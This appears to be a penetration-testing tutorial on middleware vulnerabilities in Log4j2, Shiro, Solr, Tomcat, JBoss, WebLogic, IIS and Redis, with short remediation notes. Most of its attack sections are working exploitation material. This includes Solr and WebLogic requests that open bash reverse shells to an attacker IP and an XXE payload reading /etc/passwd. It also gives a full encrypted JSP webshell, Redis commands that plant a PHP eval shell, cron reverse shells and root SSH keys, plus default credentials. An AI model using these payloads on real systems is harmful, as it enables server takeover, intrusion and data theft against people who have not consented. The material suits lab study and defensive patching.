Middleware and Component Vulnerabilities

Middleware, in simple terms, is the "software glue" or "translator" that sits between the operating system (the bottom layer) and business applications (the top layer). It abstracts away the complexity of the underlying technology, allowing developers to focus on business logic.

• Decoupling: Think of it as a "post office" — it handles sending, receiving, routing, and transforming "letters" between different systems, so that System A can send a message without worrying whether System B is online.
• Reusability: It provides common capabilities (e.g., authentication, logging, rate limiting) so that every project doesn't have to "reinvent the wheel."
• Support: It does not generate business data itself, but it ensures that massive volumes of data flow between different services efficiently and reliably.

Based on their use cases, common types of middleware include:

• Message Middleware: Specializes in handling system congestion under high concurrency — smoothing out traffic peaks and valleys. Key players: RocketMQ, Kafka, RabbitMQ.
• RPC (Remote Procedure Call) Middleware: Solves cross-network communication between microservices. Key players: Dubbo, gRPC.
• Data Access / Caching Middleware: Absorbs database read pressure through high-speed caching. Key players: Redis, Memcached.
• Web Servers / Gateways: Responsible for request routing, load balancing, and security protection. Key players: Nginx, Tomcat, Spring Cloud Gateway, IIS, Apache.

I. Apache

1.1 RCE — Remote Code Execution Vulnerabilities

1.1.1 Log4j2 Remote Code Execution Vulnerability (December 2021)

1.1.1.1 How It Works

• The trigger condition for this vulnerability is simple: as long as data supplied by an external user gets logged, it can lead to remote code execution.
• The Log4j2 deserialization vulnerability is primarily caused by JNDI injection. The JNDI injection flaw mainly resides in two classes: JndiLookup.class and JndiManager.class. Among them, JndiManager.class defines methods like lookup() that handle JNDI-related operations — lookup() accepts a user-supplied JNDI URL as an input parameter and returns the result. An attacker can craft a malicious JNDI URL by combining a JNDI reference with the remote code to be executed, so that when Log4j parses the malicious URL, arbitrary code execution is triggered.
• • JNDI stands for Java Naming and Directory Interface. It is an API (Application Programming Interface) that provides naming and directory access services for Java applications.
  • RMI (Remote Method Invocation) is an object-based distributed programming model in Java. Through the RMI mechanism, a client application can directly call methods exposed by a remote object running on another JVM as if it were a local method call, without needing to understand the details of network programming, machine addresses, or specific transport protocols — making distributed application development much easier.
  • A JNDI URL is a special URL format typically used to access JNDI databases or other external resources. In the Log4j2 vulnerability, an attacker uses a malicious JNDI URL to bind a self-constructed controllable object to a JNDI directory entry, thereby triggering a deserialization vulnerability.
  • • java.comp/env/jdbc/MyDataSource
    • • java: Refers to the Java Naming and Directory Interface (JNDI).
      • comp/env: Refers to the root path for JNDI context lookup — the Context environment.
      • jdbc: Indicates that the target resource type is a JDBC data source.
      • MyDataSource: Represents the JNDI name, i.e., the name of the target resource within JNDI.

1.1.1.2 Vulnerability Verification

VulHub: Locate the injection point on the target range. We can find that /solr/admin/cores? has a parameter that accepts input.

Crafting the Payload:

cores?action=${jndi:idap://${sys.java.version}.i913n8.deye.io}

• Pass a value to the action parameter, where sys.java.version checks the target's Java version.
• deye.io is a DNSLog address — a platform for detecting out-of-band data.

If JNDI injection is present, the LDAP server will execute the payload we uploaded and then leave a record on DNSLog. We can observe that an access record is left and the preceding parameter is executed, with the Java version number echoed back to us.

1.1.1.3 Remediation

• Upgrade Promptly
• • The simplest way to defend against the Log4j2 deserialization vulnerability is to promptly update to an unaffected version.
• Emergency Mitigation Measures
• • Remove the JndiLookup plugin; disabling the JndiLookup plugin can effectively defend against the deserialization vulnerability.
  • Remove JMS support. If the application does not require JMS support, the relevant components can be deleted or disabled to prevent exploitation. Specifically, the log4j-jms-appender-2.x.x.jar can be removed from the application, or JMS-related code can be disabled.

1.1.2 Shiro-721 Critical Code Execution Vulnerability (2021)

1.1.2.1 How It Works

This vulnerability stems from an issue with the rememberMe field in Apache Shiro cookies, which is encrypted using AES-128-CBC mode. An attacker can use a Padding Oracle attack to generate malicious code, construct a crafted rememberMe field, and then replay the request to the website, triggering a deserialization attack that ultimately leads to arbitrary code execution.

1.1.2.2 Affected Versions

1.2.5 <= shiro <= 1.4.2

1.1.2.3 Vulnerability Fingerprint

• set-cookie: rememberMe=deleteMe
• The URL contains the string "shiro".

1.1.2.4 Exploitation Tips

• This vulnerability requires logging in to obtain a valid cookie.
• The rememberMe=XXX value must be obtained before exploitation can proceed. While this may seem difficult to exploit at first glance, some websites actually allow open registration, and this vulnerability does not require knowledge of the server-side key. Therefore, subsequent exploitation can follow the same approach as Shiro-550. Moreover, since the encryption here is AES, it comes with built-in WAF evasion properties.
• If the attack does not succeed, try deleting the JSESSIONID field from the cookie. In many cases, when this field is present, the server will not process rememberMe.

1.1.2.5 Mitigation

• Upgrade the Shiro version.
• Change the hardcoded key in the configuration file.
• Temporary Defensive Recommendations
• • Configure security devices to attempt to intercept brute-force traffic and promptly block attackers from carrying out exploratory attacks.
  • Upgrade the corresponding JDK version to 8u191 / 7u201 / 6u211 / 11.0.1 or above.
  • Use the WAF to block overly long rememberMe values in cookies.
  • Use the WAF to block IPs that make excessively frequent requests, as this vulnerability requires brute-forcing the cookie.

1.1.3 Solr Remote Code Execution Vulnerability

1.1.3.1 Remote Command Execution (RCE)

1.1.3.1.1 Overview

Solr is a high-performance, full-text search server built on Lucene and developed using Java 5. It is a standalone, enterprise-grade search application server adopted by many organizations as an open-source service. The basic principle involves indexing documents via HTTP using XML into a search collection. Querying that collection is also done over HTTP, returning an XML/JSON response. Key features include efficient and flexible caching, vertical (faceted) search, hit highlighting, index replication for high availability, a powerful Data Schema system for defining fields, types, and text analysis, and a web-based administration interface.

1.1.3.1.2 Vulnerability Details

CVE-2017-12629: In versions of Apache Solr prior to 7.1 and Apache Lucene prior to 7.1, remote code execution is possible by leveraging XXE and using the Config API add-listener command to access the RunExecutableListener class. Although Elasticsearch uses Lucene, it is not susceptible to this issue. Note that an XML External Entity expansion vulnerability exists in the XML Query Parser, which by default can be exploited on any query request using the parameter deftype=xmlparser. This can be used to upload malicious data to the /upload request handler or, as a blind XXE, to read arbitrary local files from the Solr server using the FTP wrapper. Also note that a second vulnerability relates to remote code execution via the RunExecutableListener, which is available on all affected Solr versions.

1.1.3.1.3 Affected Versions

Apache Solr versions prior to 7.1.0

1.1.3.1.4 Exploitation

• Command Execution
• • Create a new listener and pass the "exe", "dir", and "args" content via HTTP.

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/test "]}}

• • Perform an update operation by modifying the POST request to trigger the preceding command.

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

• Reverse shell (same as above, only the command being passed differs).

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}} 

1.1.3.1.5 Remediation

• Upgrade to a higher version.
• Add Solr access controls, including prohibiting direct unauthorized local access.
• Modify the relevant Java source files.

1.1.3.2 Remote Command Execution via XXE (CVE-2017-12629)

1.1.3.2.1 Vulnerability Details

In versions of Apache Solr prior to 7.1 and Apache Lucene prior to 7.1, remote code execution is possible by leveraging XXE and using the Config API add-listener command to access the RunExecutableListener class. Although Elasticsearch uses Lucene, it is not susceptible to this issue. Note that an XML External Entity expansion vulnerability exists in the XML Query Parser, which by default can be exploited on any query request using the parameter deftype=xmlparser. This can be used to upload malicious data to the /upload request handler or, as a blind XXE, to read arbitrary local files from the Solr server using the FTP wrapper. Also note that a second vulnerability relates to remote code execution via the RunExecutableListener, which is available on all affected Solr versions.

1.1.3.2.2 Affected Versions

Apache Solr versions prior to 7.1.0

1.1.3.2.3 Exploitation

• Create a .dtd file under the web root of another server.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

• After constructing the payload, URL-encode any special characters.

<?xml version="1.0" ?>
<!DOCTYPE root[
<!ENTITY % ext SYSTEM "http://x.x.x.x/x.dtd">%ext;%ent;
]>
<r>&data;</r>
&wt=xml&defType=xmlparser

• Final payload

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

1.1.3.2.4 Remediation

• Upgrade to a higher version.
• Add Solr access controls, including prohibiting direct unauthorized local access.
• Modify the relevant Java source files.

1.1.3.3 Unauthorized Upload (CVE-2020-13957)

1.1.3.3.1 Vulnerability Details

In certain versions of Solr, the ConfigSet API contains an unauthorized upload vulnerability that an attacker can exploit to achieve remote code execution. The full exploitation chain: upload a configset → upload another configset based on the first (bypassing authentication checks) → create a collection using the new configset → achieve RCE via the Solr Velocity template.

1.1.3.3.2 Affected Versions

• Apache Solr 6.6.0 – 6.6.5
• Apache Solr 7.0.0 – 7.7.3
• Apache Solr 8.0.0 – 8.6.2

1.1.3.2.3 Remediation

Upgrade to Apache Solr 8.6.2 or higher.

1.2 Deserialization Vulnerabilities

1.2.1 Shiro-550 Java Deserialization Vulnerability (2020)

1.2.1.1 Attack Signature

The Set-Cookie header in the response contains the field rememberMe=deleteMe

1.2.1.2 Affected Versions

Apache Shiro <= 1.2.4 is vulnerable

1.2.1.3 Vulnerability Principle

• The vulnerability exploits the rememberMe parameter in the cookie. This parameter value is AES-encrypted, then Base64-encoded before being placed in the cookie. On the server side, when processing the rememberMe cookie value, it should first be Base64-decoded, then AES-decrypted, and finally deserialized.
• `The crux of the problem is` that the AES encryption key is hardcoded right in the source code. Since AES is symmetric encryption, the encryption key and decryption key are the same. Once an attacker obtains the AES key, they can craft a malicious object, serialize it, AES-encrypt it, Base64-encode it, and then send it as the rememberMe cookie field. Shiro will decrypt and deserialize it, ultimately leading to a deserialization vulnerability.

1.2.1.4 Mitigation

• Upgrade the Shiro version
• Change the hardcoded key in the source files
• Temporary preventive measures:
• • a. Configure security devices to intercept brute-force traffic and promptly block attackers from conducting probing attacks
  • b. Upgrade the corresponding JDK version to 8u191/7u201/6u211/11.0.1 or higher
  • c. Use WAF to block excessively long rememberMe values in cookies
  • d. Use WAF to block IPs with abnormally high request frequency, since this vulnerability requires brute-forcing the cookie

1.3 Parsing Vulnerabilities

1.3.1 Vulnerability Cause

• By default, Apache allows a file to have multiple dot-separated extensions. When the rightmost extension is unrecognized (not listed in mime.types), it continues parsing to the left.

1.3.2 Exploitation

• Can be used for file upload bypass, e.g., test.php.asd.dfs

1.3.3 Remediation

• Remove the configuration line AddHandler application/x-httpd-php .php

1.4 Directory Traversal

1.4.1 Vulnerability Cause

• Directory traversal caused by misconfiguration

1.4.1 Exploitation Method

• Similar to arbitrary file download — simply use ../../ on the vulnerable parameter

1.4.1 Remediation

• Edit the Apache configuration file httpd.conf, locate the following content, and change the + after Options to a -: change `Options+Indexes+FollowSymlinks+ExecCGI` to `Options-Indexes+FollowSymlinks+ExecCGI` and save.

2. Tomcat

2.1 Introduction to Tomcat

Tomcat is a Servlet container developed by the Jakarta project under the Apache Software Foundation. Following the technical specifications provided by Sun Microsystems, it implements support for Servlets and JavaServer Pages (JSP), and offers unique features as a web server, such as the Tomcat management and control platform, security realm management, and Tomcat valves. Since Tomcat itself includes an embedded HTTP server, it can also be regarded as a standalone web server.

Important files:

• server.xml — Configures the port number for Tomcat startup, the host, Context, and other settings.
• web.xml — The deployment descriptor file, which defines some default servlets.
• tomcat-users.xml — Stores Tomcat user credentials and permissions.

2.2 Arbitrary File Write Vulnerability

2.2.1 Vulnerability Details

• The root cause of this vulnerability is that Tomcat is configured as writable (readonly=false), allowing an attacker to write files to the server.
• Although Tomcat performs some checks on file extensions (directly writing JSP files is not allowed), attackers can exploit certain file system features (such as using "/" on Linux) to bypass these restrictions.

2.2.2 Affected Versions

• Tomcat 7.0.0 – 7.0.79

2.2.3 Exploitation

• Visit the target website, capture the request using Burp Suite, and modify it into the payload shown below.

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
 
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String 
k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码
rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new 
SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal
s(pageContext);}%>

• Send the request using the Repeater module.
• Directly navigate to the path where the JSP webshell was uploaded to verify whether the upload succeeded.
• • http://ip:port/1.jsp
• Then connect using Behinder (冰蝎).

2.3 AJP File Inclusion Vulnerability (CVE-2020-1938)

2.3.1 Vulnerability Details

• Due to a design flaw in the Tomcat AJP protocol, an attacker can read or include arbitrary files from all webapp directories on the Tomcat server via the Tomcat AJP Connector — for example, reading webapp configuration files or source code. Furthermore, if the target application has a file upload feature, combining this with file inclusion can lead to remote code execution.

2.3.2 Affected Versions

• Apache Tomcat 9.x < 9.0.31
• Apache Tomcat 8.x < 8.5.51
• Apache Tomcat 7.x < 7.0.100
• Apache Tomcat 6.x

2.3.3 Exploitation

• Use a script to read the source code of the target website's web.xml.
• Run the command: python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.31.128

2.4 Weak Password / WAR File Upload

2.4.1 Vulnerability Details

Tomcat supports deploying WAR files from the management backend, allowing an attacker to drop a webshell directly into the web directory. Accessing the backend, however, requires that the user holds the appropriate permissions.

2.4.2 Affected Versions

• Tomcat 8.x
• Tomcat 7.x

2.4.3 Exploitation

• Tomcat Permission Management
• • Backend Management Permissions
  • • manager-gui — grants access to the HTML interface
    • manager-status — grants access to view server status
    • manager-script — grants access to the text API and status
    • manager-jmx — grants JMX access and status
  • Virtual Host Management
  • • admin-gui — grants access to the HTML interface
    • admin-script — grants access to the text API
  • User permissions are configured in conf/tomcat-users.xml
• Use weak credentials (e.g., tomcat/tomcat) to log into the Manager APP.
• Once logged in, upload a WAR package via the "War file to deploy" section. Tomcat will automatically unpack it into the web directory. Avoid naming the package something obvious like "shell" or "getshell", as those names are often filtered.
• • Creating a WAR package: jar cvf pass.war pass.jsp
• Access path
• • http://ip:8080/pass/pass.jsp
• Connect using Behinder.

III. JBoss

3.1 JBoss Deserialization

Use the downloaded tool for detection: java -jar DeserializeExploit.jar

3.1.1 JBoss 5.x/6.x Deserialization Vulnerability (CVE-2017-12149)

3.1.1.1 Principle

The ReadOnlyAccessFilter in JBoss's HttpInvoker component deserializes the data stream from the client without performing any security checks.

3.1.1.2 Access URL

http://192.168.1.102:8080/ and http://192.168.1.102:8080/invoker/readonly — a 500 response indicates the vulnerability exists.

3.1.1.3 Download the exploitation tool to get a reverse shell:

http://scan.javasec.cn/java/JavaDeserH2HC.zip

3.1.2 JBoss 4.x JBossMQ JMS Deserialization Vulnerability (CVE-2017-7504)

• Principle: The root cause is that the ObjectInputStream class does not restrict the types of objects being created during deserialization.
• Again, use the tool to get a reverse shell.

3.1.3 JBoss Remote Deployment Vulnerability

• Principle: The backend does not apply strict filtering to user-controllable parameters.
• Impact: This leads to arbitrary command execution. An attacker can exploit this vulnerability to directly obtain a webshell and subsequently take full control of the server.

4. WebLogic

4.1 Deserialization

4.1.1 XML Decoder Deserialization Vulnerability (CVE-2017-10271)

4.1.1.1 Vulnerability Details

WebLogic's WLS component contains an XMLDecoder deserialization vulnerability — simply POST a crafted XML payload to achieve RCE.

4.1.1.2 Affected Versions

• 10.3.6.0.0
• 12.1.3.0.0
• 12.2.1.1.0
• 12.2.1.2.0

4.1.1.3 Reproduction

Potentially vulnerable paths:

• /wls-wsat/CoordinatorPortType
• /wls-wsat/RegistrationPortTypeRPC,
• /wls-wsat/ParticipantPortType
• /wls-wsat/RegistrationRequesterPortType
• /wls-wsat/CoordinatorPortType11
• /wls-wsat/RegistrationPortTypeRPC11
• /wls-wsat/ParticipantPortType11
• /wls-wsat/RegistrationRequesterPortType11

4.1.1.4 Vulnerability Verification

• Visit the path above: http://192.168.190.136:7001/wls-wsat/RegistrationRequesterPortType — if the response contains "Web Services", the vulnerability is confirmed.

POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1 
Host: 192.168.190.136:7001 
Content-Length: 841 

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
      <java> 
        <object class="java.lang.ProcessBuilder"> 
          <array class="java.lang.String" length="3"> 
            <void index="0"> 
              <string>/bin/bash</string> 
            </void> 
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>bash -i >& /dev/tcp/192.168.190.1/4444 0>&1</string>
            </void> 
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

4.1.2 XML Weblogic Unauthorized Access - CVE-2020-14882 && Command Execution - CVE-2020-14883

4.1.1.1 Vulnerability Details

• A remote code execution vulnerability (CVE-2020-14882) has been publicly disclosed. An unauthenticated remote attacker can craft a special HTTP GET request, combined with the CVE-2020-14883 vulnerability, to take over the WebLogic Server Console directly without authentication and execute arbitrary code. The exploitation barrier is low and the impact is severe.

4.1.1.2 Affected Versions

• Oracle WebLogic Server
• • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.3
  • 12.2.1.4
  • 14.1.1.0

4.1.1.3 Vulnerability Reproduction

• Unauthenticated POC
• Directly access http://192.168.190.1:7001/console/images/%252E%252E%252Fconsole.portal to gain unauthenticated access to the backend.
• Once you gain unauthenticated access to the admin console page, exploit the second command execution vulnerability (CVE-2020-14883).
• Command Execution
• • Method 1
  • • uses com.tangosol.coherence.mvel2.sh.ShellSession()

http://vlunip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

• • Method 2
  • • uses com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext() to get a reverse shell

http://vlunip:7001/console/images/%252E%252E%252F/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("[http://192.168.190.1:8000/linux.xml")

• • • Start an HTTP service on the attacker machine and create an xml file in its directory with the following content
    • • Linux shell

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> 
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> 
    <constructor-arg> 
      <list> 
        <value>/bin/bash</value> 
        <value>-c</value> 
        <value><![CDATA[bash -i >& /dev/tcp/192.168.190.1/4444 0>&1]]></value> 
      </list> 
    </constructor-arg> 
  </bean> 
</beans>

• • • • Windows shell

<beans xmlns="http://www.springframework.org/schema/beans" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> 
    <constructor-arg> 
      <list> 
        <value>cmd</value> 
        <value>/c</value> 
        <value>whoami</value> 
      </list> </constructor-arg> 
  </bean> 
</beans>

• • • Have nc listen on port 4444

nc -nvlp 4444

• • • By sending the request above to access the attacker's shell.xml file, you get a reverse shell.

4.2 SSRF Vulnerability (requires the UDDI component selected when installing Weblogic)

4.2.1 Vulnerability Details

• Weblogic contains an SSRF vulnerability that can be exploited to send arbitrary HTTP requests, thereby attacking vulnerable internal components such as redis and fastcgi.

4.2.2 Affected Versions

• weblogic versions 10.0.2 and 10.3.6

4.2.3 Vulnerability Reproduction

1. Directly access the vulnerable url http://192.168.190.136:7001/uddiexplorer/SearchPublicRegistries.jsp
2. Fill in the form, click search, capture the request with burp, send it to the repeater module, and change the operator to probe internal network hosts.
3. 1. When testing host 172.22.0.11, we get 'No route to host', meaning the host does not exist.
   2. Trying http://172.22.0.2:7001 yields the message '1 addresses, but could not connect over HTTP to server: 172.22.0.2, port: 7001', meaning host 172.22.0.2 exists but port 7001 does not.
   3. A 404 response means port 7001 is open.
   4. A 'Received a response from url' response means the port is open.
3. If the previous step detected a Redis service on port 6379, you can try setting up a scheduled task to get a reverse shell.
4. 1. Write the Redis script

test 
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.190.1/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save 
aaa

1. 1. URL-encode the payload above.

operator=http://172.22.0.2:6379/test%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.190.1%2f4444%200%3e%261%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaa&rdoSearch=name&txtSearchname=1&txtSearchkey=2&txtSearchfor=3&selfor=Business+location&btnSubmit=Search

1. 1. Send the payload to trigger a reverse shell connection to 192.168.190.1:4444.

4.2.4 Vulnerability Fix

• 1. Just delete SearchPublicRegistries.jsp.
• 2. Delete the uddiexplorer folder and restrict the uddiexplorer application to internal network access only.

4.3 Weak Passwords

Login address: http://192.168.190.136:7001/console/login/LoginForm.jsp

weblogic/weblogic weblogic/Oracle@123

Combined with a file upload to get a shell

• Select Deploy -> Install -> Upload file
• Upload the qwerty.war package
• Click Next until the deployment and installation complete.
• Connect with Behinder to http://ip:port/qwerty/qwerty.jsp

Vulnerability Fix

• Set up port filtering on the firewall, or restrict access to the backend by IP, to avoid weak passwords on the backend.

5. IIS

5.1 PUT Vulnerability

5.1.1 Vulnerability Cause

• IIS Server has WebDAV enabled in the Web service extensions, with write permission configured, resulting in arbitrary file upload.

5.1.2 Exploitation

• Use DotNetSan to scan IP ranges.

5.1.3 Vulnerability Fix

• Disable WebDAV and write permissions.

5.2 Short Filename Guessing

5.2.1 Vulnerability Cause

• This vulnerability is actually caused by the tilde (~) character in the legacy DOS 8.3 naming convention (SFN) in HTTP requests. It allows remote attackers to disclose file and folder names under the web root (which should not be accessible). Attackers can find important files that are normally inaccessible directly from the outside and obtain information about the application's infrastructure.

5.2.2 Exploitation

• IIS's short filename mechanism allows brute-force guessing of filenames. Accessing a constructed existing short filename returns 404, while accessing a constructed non-existent filename returns 400.

5.2.3 Vulnerability Fix

• Upgrade the .NET framework.
• Modify the registry to disable the short filename feature.

5.3 Parsing Vulnerability

5.3.1 Vulnerability Cause

• IIS 6.0 has a logic error when processing file paths containing special symbols, resulting in a file parsing vulnerability. This vulnerability has two different exploitation methods: `/test.asp/test.jpg` or `test.asp:.jpg`.
• In the first method, all files located in the test.asp directory are executed as ASP programs.
• In the second method, although the extension is .jpg, the presence of the special symbol ';' still causes IIS to execute it as an asp program.

5.3.2 Vulnerability Fix

• Filter newly created directory filenames and disallow creating files containing '.'.
• Remove the permission to create new directories in the website backend; disallow creating new directories.
• Restrict script execution permissions for uploaded files; disallow script execution.
• Filter .asp/xm.jpg through the ISAPI component.

5.4 (MS15-034) HTTP.sys Remote Code Execution Vulnerability

5.4.1 Vulnerability Details

• Exploiting the HTTP.sys security vulnerability, an attacker only needs to send a malicious HTTP request packet to potentially remotely read the IIS server's memory data or cause a blue screen crash of the server system.

5.4.2 Vulnerability Detection

• Run the following command in kali. A response of (416 Requested Range Not Satisfiable) means the vulnerability exists; a response of (400 The request has an invalid header name) means it does not. curl http://192.168.80.130 -H "Host: 192.168.80.130" -H "Range: bytes=0-18446744073709551615"

5.4.3 Exploitation

• MSF search ms15-034

5.4.4 Vulnerability Fix

• Temporary
• • Disable IIS kernel caching.
• Patch

6. Redis

6.1 Redis Introduction

Redis is a key-value storage system. Similar to Memcached, it supports relatively more value types, including string, list, set, zset (sorted set), and hash. All these data types support push/pop, add/remove, intersection/union/difference, and richer operations, and these operations are all atomic. On top of this, Redis supports sorting in various ways. Like memcached, data is cached in memory for efficiency. The difference is that Redis periodically writes updated data to disk or appends modification operations to an append-only log file, and on this basis implements master-slave synchronization. Default port 6379.

6.2 Redis Unauthorized Access

6.2.1 Vulnerability Details

• By default, Redis binds to 0.0.0.0:6379. If no relevant policies are adopted, such as configuring firewall rules to prevent access from untrusted IP sources, the Redis service will be exposed to the public network. If no password authentication is set (usually empty), any user can access Redis and read Redis data without authorization on the target server.

6.2.2 Prerequisites

• The attacker machine can connect with redis-cli, knows the physical path, and has file CRUD permissions.
• protected-mode is a new security configuration option introduced in Redis 3.2. When enabled, it requires binding an IP or setting an access password; when disabled, it allows remote connections. When setting up the lab, note that protected-mode should be set to no to disable protection mode and allow remote connections to the Redis service.

6.2.3 Exploitation

• Write a one-liner webshell
• 1. From Kali, connect to the target on port 6378 using `redis-cli.exe -h <ip address> -p6378` (if you omit `-p`, it defaults to 6379).
  2. After connecting to the target's port 6379, run the following commands in order: > config set dir /var/www/html # Set the directory where the file will be written > config set dbfilename shell.php > set webshell "\n\n\n<?php@eval($_POST['shell']);?>\n\n\n" > save
  3. Then simply access /shell.php directly.
• Scheduled task reverse shell
• 1. Start a listener on Kali with `nc -lvnp 7999`.
  2. Connect to the target's port 6379 from Kali using `redis-cli.exe -h <ip address> -p6379` (if you omit `-p` it defaults to 6379).
  3. After connecting to the target's port 6379, run the following commands in order: > set x "\n* * * * * bash -i >& /dev/tcp/<attacker IP>/7999 0>1\n" # Set the reverse-shell statement > config set dir /var/spool/cron/ # Set the directory where the file will be written (Linux cron directory) > config set dbfilename root # Rename the backup file to root so the cron job runs as root > save

6.3 Redis key-based SSH login

6.3.1 Vulnerability details

• Insert a record into the database with your local machine's public key as the value (the key can be anything). Then change the database's default path to /root/.ssh and the default dump file to authorized_keys, so the buffered data gets written to a file. This generates an authorized key under /root/.ssh on the server.

6.3.2 Prerequisites

• Redis must be exposed to the outside and in an unauthorized-access state, SSH on the Redis server must be reachable, and you must be able to log in via the key.

6.3.3 Exploitation

• On the attacking machine, generate an ssh-rsa key (keep the passphrase empty and accept all defaults).
• 1. ssh-keygen -t rsa
• Import the public key into key.txt. The extra \n added at the start and end of the key is to prevent garbled output.
• 1. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")>key.txt
• Write the generated public key into the target server's memory.
• 1. cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
  2. // The -x flag reads data from standard input and uses it as the last argument of the command.
• After writing successfully, set the path and the filename to save, which dumps the in-memory variable to a disk file.
• 1. config set dir /root/.ssh
  2. • The error here means the target doesn't have this directory. The reason is that .ssh is a folder that stores password information, and if you've never logged in as root, there is no .ssh folder. So just run the following command on the target (you can also manually create the .ssh directory): > ssh localhost
  2. config set dbfilename authorized_keys
  3. save
• Now from the attacking machine, connect to the target over SSH — it should succeed.
• 1. ssh -i id_rsa root@192.168.190.128
  2. or
  3. ssh 192.168.190.128

6.4 Remote master-slave replication RCE

6.4.1 Vulnerability principle

• This vulnerability exists in the 4.x and 5.x versions. Redis provides a master-slave mode, where one Redis instance acts as the master and the others act as backups. The master and slaves hold identical data: the slaves handle reads and the master only handles writes. By separating reads from writes, traffic pressure can be greatly reduced — in essence a way of trading space for efficiency. Starting with Redis 4.x, external extensions made it possible to implement a brand-new Redis command by writing C code and compiling it into a .so file. When two Redis instances are set up in master-slave mode, the master can sync files to the slave via FULLRESYNC. The malicious .so file is then loaded on the slave, allowing commands to be executed.

6.4.2 Impact

• 4.x
• 5.x

6.4.3 Exploitation

1. redis-rogue-server tool download: https://github.com/n0b0dyCN/redis-rogue-server
2. 1. This tool cannot perform Redis authentication, meaning it only works when the target has a Redis unauthorized-access vulnerability. If a password is set, you can use the following tool instead.
2. Awsome-Redis-Rogue-Server tool download: https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
3. 1. 1. Run the reverse shell
   2. 1. python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128
   2. 2. Choose either an interactive shell or a reverse shell — here we picked the interactive option "i".
3. The downside of this part is that it only works when the target machine allows remote login. If the target machine only allows local login, this approach won't work. In that case you can chain it with other vulnerabilities to log into Redis from the target locally.

6.5 Local Redis master-slave replication RCE reverse shell

6.5.1 Vulnerability principle

• For a Redis server that only allows local connections, you can enable master-slave mode to sync a malicious .so file from a remote host to the local machine, then load the malicious .so module and bounce a reverse shell back to the remote host.

6.5.2 Exploitation

1. Here we copy exp.so from redis-rogue-server-master into the Awsome-Redis-Rogue-Server directory, because exp.so includes the system module.
2. Start a listener on Kali to receive the bounced session.
